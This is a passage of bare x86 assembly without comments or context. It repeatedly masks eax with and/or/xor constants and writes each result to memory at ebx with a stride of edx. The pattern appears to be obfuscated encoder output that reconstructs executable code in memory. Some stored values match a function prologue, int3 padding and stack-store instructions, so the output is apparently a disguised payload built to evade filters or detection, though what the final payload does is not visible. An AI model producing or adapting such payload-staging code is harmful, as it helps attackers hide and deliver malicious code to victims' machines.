and eax, 0x678de185
and eax, 0x1892004
or eax, 0x2224423a
mov dword [ebx], eax
add ebx, edx
and eax, 0x5a5df49b
or eax, 0xdaec1da
and eax, 0xbac408a
or eax, 0xc0001e20
mov dword [ebx], eax
add ebx, edx
or eax, 0x37ce6d3
and eax, 0x89603e01
or eax, 0x24020004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x440ee173
and eax, 0xa84c8a22
or eax, 0x4122001
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bb782a0
and eax, 0x223e0083
or eax, 0x40000548
mov dword [ebx], eax
add ebx, edx
or eax, 0x68129efb
and eax, 0x4a2a03a9
or eax, 0x14802004
mov dword [ebx], eax
add ebx, edx
or eax, 0x333fa89a
xor eax, 0x12bcd118
and eax, 0x2c014aa4
or eax, 0x12048108
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5906482
xor eax, 0x6408195e
and eax, 0xa01a460
or eax, 0xa0220902
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17e4ff49
and eax, 0x5d7dfeaa
and eax, 0x541000a
or eax, 0x8aac54
mov dword [ebx], eax
add ebx, edx
or eax, 0x2fa1d229
and eax, 0x19c0b92b
and eax, 0x180202a
or eax, 0x222d4214
mov dword [ebx], eax
add ebx, edx
or eax, 0x71183c64
xor eax, 0x3f3942bc
and eax, 0x48841c82
or eax, 0x83284228
mov dword [ebx], eax
add ebx, edx
and eax, 0x3455e1e7
or eax, 0x74146644
and eax, 0x24002604
or eax, 0x89621801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53258a73
or eax, 0x7ca19266
and eax, 0xac46a222
or eax, 0x180801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66b7ad23
and eax, 0x42280500
or eax, 0x201600cb
mov dword [ebx], eax
add ebx, edx
and eax, 0x78dfb5a6
and eax, 0x400a0180
or eax, 0x1ea0222d
mov dword [ebx], eax
add ebx, edx
or eax, 0x75c23cbb
and eax, 0x3e000bac
or eax, 0x5c000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6b9b382f
xor eax, 0x231786c0
and eax, 0x22012542
or eax, 0x88228820
mov dword [ebx], eax
add ebx, edx
and eax, 0x473141a6
and eax, 0x5c39bf8d
and eax, 0x10000
or eax, 0x5caac5e
mov dword [ebx], eax
add ebx, edx
or eax, 0x2bb22ac8
and eax, 0x23a9221e
or eax, 0x44020
mov dword [ebx], eax
add ebx, edx
or eax, 0x279c1c22
and eax, 0x3ac5e2a
or eax, 0xc8000080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3ae17fff
xor eax, 0xf0059bb
and eax, 0xac403804
or eax, 0x1220601
mov dword [ebx], eax
add ebx, edx
and eax, 0x21f9546e
and eax, 0x20400000
or eax, 0x8c1eaa23
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43334c78
and eax, 0x622c044b
or eax, 0x120180
mov dword [ebx], eax
add ebx, edx
and eax, 0xe998e6d
xor eax, 0x3041dac8
and eax, 0x12080281
or eax, 0x4ca2212c
mov dword [ebx], eax
add ebx, edx
or eax, 0x728d6501
and eax, 0x540246ac
or eax, 0x501000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b257359
xor eax, 0x46550c0c
and eax, 0x9204b40
or eax, 0x4651040a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x87f52fc
or eax, 0x1b4d8f92
and eax, 0x4f0c02
or eax, 0x204041
mov dword [ebx], eax
add ebx, edx
or eax, 0x7abaf2c8
or eax, 0xdfdf6c0
and eax, 0x64517a00
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x38aa7255
or eax, 0x7764f994
and eax, 0x56447010
or eax, 0x10069
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ec395b0
or eax, 0x586e790d
and eax, 0x484c6c40
or eax, 0x2000022
mov dword [ebx], eax
add ebx, edx
or eax, 0x27d164c4
xor eax, 0x12519a45
and eax, 0x55047022
or eax, 0x2410944
mov dword [ebx], eax
add ebx, edx
and eax, 0x13c8f5f4
and eax, 0x2405044
or eax, 0x40060209
mov dword [ebx], eax
add ebx, edx
or eax, 0x27cc04b3
and eax, 0x61424451
or eax, 0x200800
mov dword [ebx], eax
add ebx, edx
or eax, 0x7458810a
and eax, 0x6172444b
or eax, 0x2010204
mov dword [ebx], eax
add ebx, edx
and eax, 0x3a2f3ef4
and eax, 0x20020644
or eax, 0x48544102
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d4fde44
and eax, 0x40
or eax, 0x13
mov dword [ebx], eax
add ebx, edx
and eax, 0x22d6277b
or eax, 0x2869d320
and eax, 0x20484200
or eax, 0x51002c00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2baad64f
or eax, 0x7e93b32f
and eax, 0x76423a64
or eax, 0x10c4010
mov dword [ebx], eax
add ebx, edx
or eax, 0x457e6490
or eax, 0x460e4770
and eax, 0x566e7174
or eax, 0x10002
mov dword [ebx], eax
add ebx, edx
or eax, 0x4ec11acd
and eax, 0x46677371
or eax, 0x100000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43193d1a
xor eax, 0x4bdfba94
and eax, 0x4401604a
or eax, 0x11440800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2bbbfc74
or eax, 0x777dfdd7
and eax, 0x69654154
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x377cb57a
and eax, 0x4a00602e
or eax, 0x20440941
mov dword [ebx], eax
add ebx, edx
and eax, 0x368d5bd7
or eax, 0x54079b3f
and eax, 0x73
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x54cb45e8
and eax, 0x27087129
and eax, 0
or eax, 0x5a676a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x439d374b
xor eax, 0x753f2859
and eax, 0xe405212
or eax, 0x40300068
mov dword [ebx], eax
add ebx, edx
xor eax, 0x70a6d4f7
or eax, 0x449495cb
and eax, 0x74500340
or eax, 0x1084010
mov dword [ebx], eax
add ebx, edx
or eax, 0x29912fa7
or eax, 0x98f4a1a
and eax, 0x544a4a4f
or eax, 0x200000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2d10be42
xor eax, 0x79926b75
and eax, 0x4681128
or eax, 0x50076840
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a3872ac
and eax, 0x4e704864
or eax, 0x21000003
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38339711
and eax, 0x50435a64
or eax, 9
mov dword [ebx], eax
add ebx, edx
or eax, 0x77c55ea9
and eax, 0x41
or eax, 0x12
mov dword [ebx], eax
add ebx, edx
and eax, 0x17ecd6cd
xor eax, 0x5a83d58f
and eax, 0x4a014500
or eax, 0x1482a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x67165fce
and eax, 0x184cb76f
and eax, 0x8483048
or eax, 0x60324411
mov dword [ebx], eax
add ebx, edx
or eax, 0x332fd77d
and eax, 0x6143724d
or eax, 0x802
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f8e300a
and eax, 0x64446242
or eax, 0x100430
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79550cac
and eax, 0x90084aa
and eax, 0x100000a
or eax, 0x72534e50
mov dword [ebx], eax
add ebx, edx
and eax, 0x37b9544f
or eax, 0xa9365be
and eax, 0x9036500
or eax, 0x44600a00
mov dword [ebx], eax
add ebx, edx
or eax, 0x1a702ec1
and eax, 0x53526240
or eax, 0x80008
mov dword [ebx], eax
add ebx, edx
or eax, 0x27dd666f
and eax, 0x4541604a
or eax, 0x201100
mov dword [ebx], eax
add ebx, edx
and eax, 0x102cbf99
and eax, 0x2100
or eax, 0x6a434c76
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79ee42c3
and eax, 0x501
or eax, 0x504a
mov dword [ebx], eax
add ebx, edx
and eax, 0x181d7bad
and eax, 0x4100
or eax, 0x65760e00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d826d00
or eax, 0x470fd24
and eax, 0x28446520
or eax, 0x4100005a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x64cba328
and eax, 0x80c4040
or eax, 0x7260090c
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b2b2f18
and eax, 0x58686648
or eax, 0x100003
mov dword [ebx], eax
add ebx, edx
and eax, 0x1866dbf2
or eax, 0x7de2b95c
and eax, 0x6060504e
or eax, 0x20c0421
mov dword [ebx], eax
add ebx, edx
and eax, 0x73841b18
and eax, 0x2a466872
and eax, 0
or eax, 0x464b
mov dword [ebx], eax
add ebx, edx
or eax, 0x70a04f85
and eax, 0x40004300
or eax, 0x4481000
mov dword [ebx], eax
add ebx, edx
or eax, 0x19787ebb
and eax, 0x1f1768b2
and eax, 0xc104000
or eax, 0x42651044
mov dword [ebx], eax
add ebx, edx
xor eax, 0x736bdb40
or eax, 0x3035035a
and eax, 0x2c040140
or eax, 0x40407001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x27732166
xor eax, 0x6b3faa3e
and eax, 0x86a11
or eax, 0x4f630560
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa66bdf2
and eax, 1
or eax, 0x4c
mov dword [ebx], eax
add ebx, edx
xor eax, 0xcad86c0
or eax, 0x1c23637d
and eax, 0x82a4300
or eax, 0x42401000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x86882c7
and eax, 0x40005043
or eax, 0x30542a10
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2bd2dbd3
xor eax, 0x8c92dcd
and eax, 0x424c0448
or eax, 0x6022
mov dword [ebx], eax
add ebx, edx
xor eax, 0x975a614
xor eax, 0x7d626b45
and eax, 0x4502131
or eax, 0x41005244
mov dword [ebx], eax
add ebx, edx
or eax, 0x4676b9e5
and eax, 0x46645900
or eax, 0x10000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x89f90cc
and eax, 0x6828e218
and eax, 0
or eax, 0x7a6d5a77
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39e64449
or eax, 0x2c263faa
and eax, 0x49272716
or eax, 0x10504040
mov dword [ebx], eax
add ebx, edx
and eax, 0x6e85dae9
and eax, 0x40044040
or eax, 0x252340b
mov dword [ebx], eax
add ebx, edx
or eax, 0x74d1bd00
xor eax, 0x5bd92762
and eax, 0x50e4200
or eax, 0x50410050
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60f22883
or eax, 0xa94d575
and eax, 0x94172
or eax, 0x400008
mov dword [ebx], eax
add ebx, edx
and eax, 0x7adc0efb
xor eax, 0x343b957f
and eax, 0x20620400
or eax, 0x420c6800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2e0749d1
and eax, 0x44682151
or eax, 0x33004006
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15ce408e
and eax, 0x42020148
or eax, 0x515004
mov dword [ebx], eax
add ebx, edx
and eax, 0x1764691a
and eax, 0x4d7de012
and eax, 0x404000
or eax, 0x513a0344
mov dword [ebx], eax
add ebx, edx
xor eax, 0x75dd0df4
and eax, 0x4210
or eax, 0x3043
mov dword [ebx], eax
add ebx, edx
or eax, 0x28ee6ebd
and eax, 0x685000
or eax, 0x50010100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4159b4bb
or eax, 0x4a952e06
and eax, 0x48244402
or eax, 0x400040
mov dword [ebx], eax
add ebx, edx
xor eax, 0x611cbeb1
and eax, 0x8605872
or eax, 0x42050008
mov dword [ebx], eax
add ebx, edx
or eax, 0x7c267149
or eax, 0x60fb832d
and eax, 0x76
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1254ddc5
and eax, 0x4fe7179d
and eax, 0x2401500
or eax, 0x650a4200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x11a872e7
and eax, 0x70400544
or eax, 0x9054a10
mov dword [ebx], eax
add ebx, edx
or eax, 0x2cb8373b
and eax, 0x7174667a
or eax, 0x2020000
mov dword [ebx], eax
add ebx, edx
or eax, 0xc139385
or eax, 0x2d1c3654
and eax, 0x59546756
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c7714a
and eax, 0x42
or eax, 0x35
mov dword [ebx], eax
add ebx, edx
and eax, 0x7870be3d
and eax, 0x58b91190
and eax, 0
or eax, 0x556b7100
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d91dfac
and eax, 0x6f027c44
and eax, 0x64026000
or eax, 0x10690149
mov dword [ebx], eax
add ebx, edx
or eax, 0x542a4439
xor eax, 0x52867aa0
and eax, 0x24650340
or eax, 0x51004024
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2796c4d3
and eax, 0x52600030
or eax, 0x1047048
mov dword [ebx], eax
add ebx, edx
xor eax, 0x39486ba1
and eax, 0x1141
or eax, 0x6400
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c489083
and eax, 0x4e2d6db7
xor eax, eax
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4721aa64
or eax, 0x68b5f5db
and eax, 0xbb50000
or eax, 0x90400000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5c01e20c
and eax, 4
or eax, 0x62
mov dword [ebx], eax
add ebx, edx
or eax, 0x32918b80
and eax, 0x900
or eax, 0x400
mov dword [ebx], eax
add ebx, edx
and eax, 0xaea21f7
xor eax, 0x3aeb12a8
and eax, 0x1000
or eax, 0x6800
mov dword [ebx], eax
add ebx, edx
or eax, 0x16c11276
and eax, 0x14000
or eax, 0x1e0400
mov dword [ebx], eax
add ebx, edx
and eax, 0x1062c752
and eax, 0x7b035865
and eax, 0x4000
or eax, 0x110400
mov dword [ebx], eax
add ebx, edx
or eax, 0x43d1c1dc
and eax, 0x3bc6a319
and eax, 0
or eax, 0x1800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20b5a430
and eax, 0x800000
or eax, 0x2000200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x37e93af3
or eax, 0x48b95091
and eax, 0x80
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x29dff9ad
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x3df6f389
and eax, 0x7b8ab0cb
and eax, 0
or eax, 0x1f3400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1a9a4be
or eax, 0x40c6a88d
and eax, 0x1000
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d926611
xor eax, 0x58f4147e
and eax, 0x100000
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6e0b7d5
and eax, 0
or eax, 0xf0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x25746622
xor eax, 0x64054e04
and eax, 0x14000
or eax, 0x1e8000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6d11f0ab
and eax, 0x24665056
and eax, 0x4001000
or eax, 0x10ec00
mov dword [ebx], eax
add ebx, edx
and eax, 0x7cea28a9
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e04e246
and eax, 0x10c26ad7
and eax, 0
or eax, 0x100000
mov dword [ebx], eax
add ebx, edx
or eax, 0x37630c5a
and eax, 0x70c55b24
and eax, 0x10000
or eax, 0xe0000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2cd1af81
and eax, 0
or eax, 0x61642e00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x116a2e1b
and eax, 0x10
or eax, 0x6164
mov dword [ebx], eax
add ebx, edx
and eax, 0x5cafcd88
and eax, 0x5a0fb882
and eax, 0
or eax, 0x1f0000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c102ac1
or eax, 0x663b8411
and eax, 0xc00
or eax, 0x1000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x53e190dc
and eax, 0x4901a7c1
and eax, 0x40000400
or eax, 0x24722a00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c0ef42b
or eax, 0x13c45a18
and eax, 0x605021
or eax, 0x12440
mov dword [ebx], eax
add ebx, edx
or eax, 0x678c734a
or eax, 0x424c1672
and eax, 0xd1400
or eax, 0x120800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2d4b9e84
and eax, 0
or eax, 0x2800
mov dword [ebx], eax
add ebx, edx
or eax, 0x2550b7ca
xor eax, 0x364047bb
and eax, 0x102800
or eax, 0x64620600
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2ed55c00
and eax, 0x58c7f1e
and eax, 0x7000
or eax, 0x24610461
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5f932a97
and eax, 0x70604e76
or eax, 0x40c2100
mov dword [ebx], eax
add ebx, edx
and eax, 0x6349810a
and eax, 0
or eax, 0x646d
mov dword [ebx], eax
add ebx, edx
and eax, 0x6bf66609
and eax, 0x4400
or eax, 0x1f0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x587afb95
and eax, 0x3c00
or eax, 0x4000
mov dword [ebx], eax
add ebx, edx
and eax, 0x218beab7
and eax, 0x67e9c737
and eax, 0
or eax, 0x64722e00
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57d89ab8
and eax, 0x20203420
or eax, 0x4414041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x26f79b07
or eax, 0x52887add
and eax, 0x401a7a7a
or eax, 0x24600000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x79478e8b
and eax, 0x6460
or eax, 0x302
mov dword [ebx], eax
add ebx, edx
or eax, 0x1cf357a6
and eax, 0x7b40b651
and eax, 0
or eax, 0x1fc000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ef54031
and eax, 0x5ff22ac1
and eax, 0x4020000
or eax, 0x81000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b1c211f
and eax, 0x5142000
or eax, 0x60600e00
mov dword [ebx], eax
add ebx, edx
and eax, 0x445af3d7
and eax, 0x44002000
or eax, 0x29245478
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f5bbb71
and eax, 0x60
or eax, 0xe
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3048e0f7
and eax, 0x750f3a17
and eax, 0x80000
or eax, 0x421d000
mov dword [ebx], eax
add ebx, edx
and eax, 0x56be06d8
and eax, 0
or eax, 0x6ec00
mov dword [ebx], eax
add ebx, edx
or eax, 0x3cee3873
and eax, 0x30622c00
or eax, 0x43000200
mov dword [ebx], eax
add ebx, edx
or eax, 0x39c8b72
or eax, 0x4c7bee27
and eax, 0x73
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x14cf6a10
xor eax, eax
mov dword [ebx], eax
add ebx, edx
and eax, 0x252fa01e
and eax, 0
or eax, 0xec8b5500
mov dword [ebx], eax
add ebx, edx
and eax, 0x5f98769
or eax, 0x64bcaf03
and eax, 0x4410ac03
or eax, 0x83404080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4fe024dc
xor eax, 0x67b7b741
and eax, 0x8a047c04
or eax, 0x10388041
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e10529d
and eax, 0x4040000
or eax, 0x41c30000
mov dword [ebx], eax
add ebx, edx
and eax, 0x9c27927
and eax, 0x20000
or eax, 0x394bf8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d619e39
and eax, 0x1440c500
or eax, 0xe0050200
mov dword [ebx], eax
add ebx, edx
or eax, 0x159e63b4
and eax, 0x58fbc821
and eax, 0x14020
or eax, 0x856
mov dword [ebx], eax
add ebx, edx
xor eax, 0x15db0015
xor eax, 0x7c350fc6
and eax, 0x9e04585
or eax, 0x96100042
mov dword [ebx], eax
add ebx, edx
and eax, 0x68ce2680
and eax, 0x215d233a
and eax, 0
or eax, 0xc7000093
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38c2bd48
and eax, 0x6902ac41
or eax, 0x154004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38731401
and eax, 0x41440000
or eax, 0x4830000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b6e2086
xor eax, 0x7167b99a
and eax, 0x3888
or eax, 0x1400660
mov dword [ebx], eax
add ebx, edx
or eax, 0x65745684
and eax, 0x64444600
or eax, 0x80018100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50e71db7
and eax, 0x8a7
or eax, 0x448
mov dword [ebx], eax
add ebx, edx
or eax, 0x7593bfe4
and eax, 0x48005c7
or eax, 0x2604000
mov dword [ebx], eax
add ebx, edx
and eax, 0x42acb4e9
and eax, 0x20000c1
or eax, 0xc5000020
mov dword [ebx], eax
add ebx, edx
xor eax, 0x261c8344
and eax, 0x41108005
or eax, 0x2625c40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d23f682
and eax, 0x4410000
or eax, 0x41860000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x677eead8
and eax, 0x908ad8
or eax, 0x500
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b0ceacd
xor eax, 0x51672df2
and eax, 0x40414000
or eax, 0x94048700
mov dword [ebx], eax
add ebx, edx
or eax, 0x24f4cc68
and eax, 0x77bba709
and eax, 0x10008
or eax, 0x6873
mov dword [ebx], eax
add ebx, edx
or eax, 0x675be297
and eax, 0x215685c8
and eax, 0x15000c0
or eax, 0x98804507
mov dword [ebx], eax
add ebx, edx
and eax, 0x40ebb977
and eax, 6
or eax, 0xc7000038
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5a1bf37d
and eax, 0x1c1bc041
or eax, 0x42240c04
mov dword [ebx], eax
add ebx, edx
and eax, 0x20dc267d
and eax, 0x40000
or eax, 0x45c30000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2ce66577
and eax, 0x7ac06799
and eax, 0x800000
or eax, 0x15b6c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18ef47a7
and eax, 0x40c100
or eax, 0xc4050600
mov dword [ebx], eax
add ebx, edx
xor eax, 0x352d6748
and eax, 0x1336a1aa
and eax, 0xa000
or eax, 0x5316
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ae3b380
and eax, 0x100
or eax, 0xb1c044c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x337d2b0f
and eax, 0x1000004
or eax, 0xc6000028
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1e09fdb1
and eax, 0x3cf04466
and eax, 0x8000404
or eax, 0x6016b841
mov dword [ebx], eax
add ebx, edx
or eax, 0x2ed7df5e
and eax, 0x4168d47e
and eax, 0x40400000
or eax, 0x5870000
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a3fea0f
and eax, 0x5826b044
and eax, 0x62000
or eax, 0x146b8
mov dword [ebx], eax
add ebx, edx
or eax, 0x7ada334a
and eax, 0x30454700
or eax, 0x84008000
mov dword [ebx], eax
add ebx, edx
or eax, 0x328ed323
and eax, 0x4402
or eax, 0x2080
mov dword [ebx], eax
add ebx, edx
and eax, 0x17563b1d
and eax, 0
or eax, 0x31b045c7
mov dword [ebx], eax
add ebx, edx
or eax, 0xa4cfc6a
and eax, 0xb000068
or eax, 0x80000010
mov dword [ebx], eax
add ebx, edx
or eax, 0x7f057859
and eax, 0xcc015861
or eax, 0xc20584
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c4a3f32
and eax, 0x7fb8d9c8
and eax, 0x4c000800
or eax, 0x80ccc4cc
mov dword [ebx], eax
add ebx, edx
or eax, 0x5f477e36
and eax, 0xcccccccc
or eax, 0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2f3d67ce
xor eax, 0x1370269c
and eax, 0xec894140
or eax, 0x2148c
mov dword [ebx], eax
add ebx, edx
or eax, 0x24bb007a
xor eax, 0x43bcfda1
and eax, 0x8700a803
or eax, 0x40504480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x541ee5f3
and eax, 0x10000840
or eax, 0x48a1f405
mov dword [ebx], eax
add ebx, edx
or eax, 0x4203a0e6
and eax, 0x40830001
or eax, 0x5440000
mov dword [ebx], eax
add ebx, edx
or eax, 0x6bf029e5
xor eax, 0x4a6c6707
and eax, 0x1240e0
or eax, 0x4b018
mov dword [ebx], eax
add ebx, edx
or eax, 0x20510455
xor eax, 0x55c2fe3
and eax, 0x2401c300
or eax, 0xd0440400
mov dword [ebx], eax
add ebx, edx
and eax, 0x70fd528f
and eax, 0x14200
or eax, 0x4e5
mov dword [ebx], eax
add ebx, edx
or eax, 0xac99fea
and eax, 0x4f7cbb89
and eax, 0x8400181
or eax, 0xa0b04446
mov dword [ebx], eax
add ebx, edx
and eax, 0x7de6a0ef
and eax, 2
or eax, 0xc7000120
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e3aa0c1
and eax, 0x2e38a041
or eax, 0xc44c04
mov dword [ebx], eax
add ebx, edx
or eax, 0x674fb74b
and eax, 0x45c70001
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x6049530d
and eax, 0
or eax, 0x874e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x732a97af
and eax, 0x6000c300
or eax, 0x84450400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x25a92806
and eax, 0x5ef3769d
and eax, 0x400
or eax, 0x10b1
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e36b4ef
and eax, 0x202004c7
or eax, 0x40c04100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4dd3f3c9
and eax, 0x5000002
or eax, 0xc2000090
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d66f7dd
and eax, 0x4f46d445
or eax, 0x10990800
mov dword [ebx], eax
add ebx, edx
and eax, 0x3086a34a
and eax, 0x860000
or eax, 0x45410001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19165d4
and eax, 0x4040d0
or eax, 0x201208
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7f0fa9d1
or eax, 0x7eddf5ce
and eax, 0x5445c700
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5eb4a1fd
and eax, 0x1021d
or eax, 0x900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4ebd098a
and eax, 0x48900087
or eax, 0x91404540
mov dword [ebx], eax
add ebx, edx
or eax, 0x4717c518
and eax, 0xc7000096
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x55810c8d
or eax, 0x2e325958
and eax, 0x20804c41
or eax, 0x1048004
mov dword [ebx], eax
add ebx, edx
or eax, 0x66ec686d
and eax, 0x45c40001
or eax, 0x30000
mov dword [ebx], eax
add ebx, edx
or eax, 0x339bf8a9
or eax, 0xda65969
and eax, 0x10c81c8
or eax, 0x600
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a393503
or eax, 0x28668e4c
and eax, 0x40458700
or eax, 0x84004000
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cf89d75
and eax, 0x8400
or eax, 0x3818
mov dword [ebx], eax
add ebx, edx
xor eax, 0x321325a6
or eax, 0x2a368769
and eax, 0x280005c7
or eax, 0x85c04000
mov dword [ebx], eax
add ebx, edx
or eax, 0x1aaecc0
and eax, 0x7013efa8
and eax, 0x100
or eax, 0xc7000041
mov dword [ebx], eax
add ebx, edx
xor eax, 0x23bc41f6
and eax, 0x80240005
or eax, 0x1903bc40
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10508068
and eax, 0x1470000
or eax, 0x44800000
mov dword [ebx], eax
add ebx, edx
or eax, 0xbc22039
and eax, 0x442038
or eax, 0x18c180
mov dword [ebx], eax
add ebx, edx
xor eax, 0x478ea9ab
and eax, 0x39fc0a84
and eax, 0x400000
or eax, 0xb405c700
mov dword [ebx], eax
add ebx, edx
xor eax, 0x62f30640
and eax, 0x4000
or eax, 0x13887
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ea33558
and eax, 0
or eax, 0x86b045c7
mov dword [ebx], eax
add ebx, edx
or eax, 0x78e495fe
and eax, 0x8a000109
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x796f0a65
and eax, 0xc8430965
or eax, 0x4805480
mov dword [ebx], eax
add ebx, edx
xor eax, 0x66678ecb
and eax, 0x40064753
and eax, 0x44000
or eax, 0xccc88ccc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2051b5dc
and eax, 0xcc8c4800
or eax, 0x4084cc
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2cc6f4e2
or eax, 0xf29f41
and eax, 0xe08a154c
or eax, 0xc014080
mov dword [ebx], eax
add ebx, edx
and eax, 0x5ab49be1
and eax, 0x800080
or eax, 0x44ec01
mov dword [ebx], eax
add ebx, edx
or eax, 0x6e1732cf
or eax, 0x66a3ee03
and eax, 0x44c70000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x48281b90
or eax, 0x28ee72f
and eax, 0x2424
or eax, 0x1511090
mov dword [ebx], eax
add ebx, edx
or eax, 0x4e47263
or eax, 0x3d3e8f21
and eax, 0x1445c700
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x57a93b55
and eax, 0x4c14
or eax, 0x38a
mov dword [ebx], eax
add ebx, edx
or eax, 0x4709f20c
or eax, 0xb6b8201
and eax, 0x5404587
or eax, 0xb0800040
mov dword [ebx], eax
add ebx, edx
or eax, 0x6f22f14f
or eax, 0x40acc947
and eax, 0xc7000086
or eax, 0x10
mov dword [ebx], eax
add ebx, edx
or eax, 0x1c50c4ef
and eax, 0xe40c045
or eax, 0x41800
mov dword [ebx], eax
add ebx, edx
and eax, 0x4ab39cf5
xor eax, 0x2f30b3a2
and eax, 0x5000000
or eax, 0x40c70000
mov dword [ebx], eax
add ebx, edx
and eax, 0x4fe2e72a
and eax, 0x1820000
or eax, 0x18d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x2a05cd54
xor eax, 0x6522c9b9
and eax, 0x4c050400
or eax, 0xa040c300
mov dword [ebx], eax
add ebx, edx
xor eax, 0x60d7996d
and eax, 0x4f0403b1
and eax, 0x221
or eax, 0x214e
mov dword [ebx], eax
add ebx, edx
